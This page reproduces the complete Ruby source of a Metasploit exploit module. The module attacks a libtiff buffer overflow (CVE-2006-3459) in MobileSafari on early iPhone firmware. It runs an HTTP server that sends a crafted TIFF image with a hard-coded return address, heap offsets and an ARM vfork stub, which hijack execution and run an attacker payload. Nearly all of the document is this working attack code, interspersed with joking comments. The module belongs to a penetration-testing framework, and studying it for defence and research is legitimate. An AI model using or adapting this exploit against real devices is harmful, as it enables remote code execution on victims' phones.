Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/apple_ios/browser/safari_libtiff.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78#9# This module acts as an HTTP server10#11include Msf::Exploit::Remote::HttpServer::HTML1213def initialize(info = {})14super(update_info(info,15'Name' => 'Apple iOS MobileSafari LibTIFF Buffer Overflow',16'Description' => %q{17This module exploits a buffer overflow in the version of18libtiff shipped with firmware versions 1.00, 1.01, 1.02, and191.1.1 of the Apple iPhone. iPhones which have not had the BSD20tools installed will need to use a special payload.21},22'License' => MSF_LICENSE,23'Author' => ['hdm', 'kf'],24'References' =>25[26['CVE', '2006-3459'],27['OSVDB', '27723'],28['BID', '19283']29],30'Payload' =>31{32'Space' => 1800,33'BadChars' => "",3435# Multi-threaded applications are not allowed to execve() on OS X36# This stub injects a vfork/exit in front of the payload37'Prepend' =>38[390xe3a0c042, # vfork400xef000080, # sc410xe3500000, # cmp r0, #0420x1a000001, # bne430xe3a0c001, # exit(0)440xef000080 # sc45].pack("V*")46},47'Arch' => ARCH_ARMLE,48'Platform' => %w{ osx },49'Targets' =>50[5152[ 'MobileSafari iPhone Mac OS X (1.00, 1.01, 1.02, 1.1.1)',53{54'Platform' => 'osx',5556# Scratch space for our shellcode and stack57'Heap' => 0x00802000,5859# Deep inside _swap_m88110_thread_state_impl_t() libSystem.dylib60'Magic' => 0x300d562c,61}62],63],64'DefaultTarget' => 0,65'DisclosureDate' => '2006-08-01'66))67end6869def on_request_uri(cli, req)707172# Re-generate the payload73return if ((p = regenerate_payload(cli)) == nil)7475# Grab reference to the target76t = target7778print_status("Sending exploit")7980# Transmit the compressed response to the client81send_response(cli, generate_tiff(p, t), { 'Content-Type' => 'image/tiff' })8283# Handle the payload84handler(cli)85end8687def generate_tiff(code, targ)8889#90# This is a TIFF file, we have a huge range of evasion91# capabilities, but for now, we don't use them.92# - https://strikecenter.bpointsys.com/articles/2007/10/10/october-2007-microsoft-tuesday93#9495lolz = 204896tiff =97"\x49\x49\x2a\x00\x1e\x00\x00\x00\x00\x00\x00\x00"+98"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+99"\x00\x00\x00\x00\x00\x00\x08\x00\x00\x01\x03\x00"+100"\x01\x00\x00\x00\x08\x00\x00\x00\x01\x01\x03\x00"+101"\x01\x00\x00\x00\x08\x00\x00\x00\x03\x01\x03\x00"+102"\x01\x00\x00\x00\xaa\x00\x00\x00\x06\x01\x03\x00"+103"\x01\x00\x00\x00\xbb\x00\x00\x00\x11\x01\x04\x00"+104"\x01\x00\x00\x00\x08\x00\x00\x00\x17\x01\x04\x00"+105"\x01\x00\x00\x00\x15\x00\x00\x00\x1c\x01\x03\x00"+106"\x01\x00\x00\x00\x01\x00\x00\x00\x50\x01\x03\x00"+107[lolz].pack("V") +108"\x84\x00\x00\x00\x00\x00\x00\x00"109110# Randomize the bajeezus out of our data111hehe = rand_text(lolz)112113# Were going to candy mountain!114hehe[120, 4] = [targ['Magic']].pack("V")115116# >> add r0, r4, #0x30117hehe[104, 4] = [ targ['Heap'] - 0x30 ].pack("V")118119# Candy mountain, Charlie!120# >> mov r1, sp121122# It will be an adventure!123# >> mov r2, r8124hehe[ 92, 4] = [ hehe.length ].pack("V")125126# Its a magic leoplurodon!127# It has spoken!128# It has shown us the way!129# >> bl _memcpy130131# Its just over this bridge, Charlie!132# This magical bridge!133# >> ldr r3, [r4, #32]134# >> ldrt r3, [pc], r3, lsr #30135# >> str r3, [r4, #32]136# >> ldr r3, [r4, #36]137# >> ldrt r3, [pc], r3, lsr #30138# >> str r3, [r4, #36]139# >> ldr r3, [r4, #40]140# >> ldrt r3, [pc], r3, lsr #30141# >> str r3, [r4, #40]142# >> ldr r3, [r4, #44]143# >> ldrt r3, [pc], r3, lsr #30144# >> str r3, [r4, #44]145146# We made it to candy mountain!147# Go inside Charlie!148# sub sp, r7, #0x14149hehe[116, 4] = [ targ['Heap'] + 44 + 0x14 ].pack("V")150151# Goodbye Charlie!152# ;; targ['Heap'] + 0x48 becomes the stack pointer153# >> ldmia sp!, {r8, r10}154155# Hey, what the...!156# >> ldmia sp!, {r4, r5, r6, r7, pc}157158# Return back to the copied heap data159hehe[192, 4] = [ targ['Heap'] + 196 ].pack("V")160161# Insert our actual shellcode at heap location + 196162hehe[196, payload.encoded.length] = payload.encoded163164tiff << hehe165end166end167168169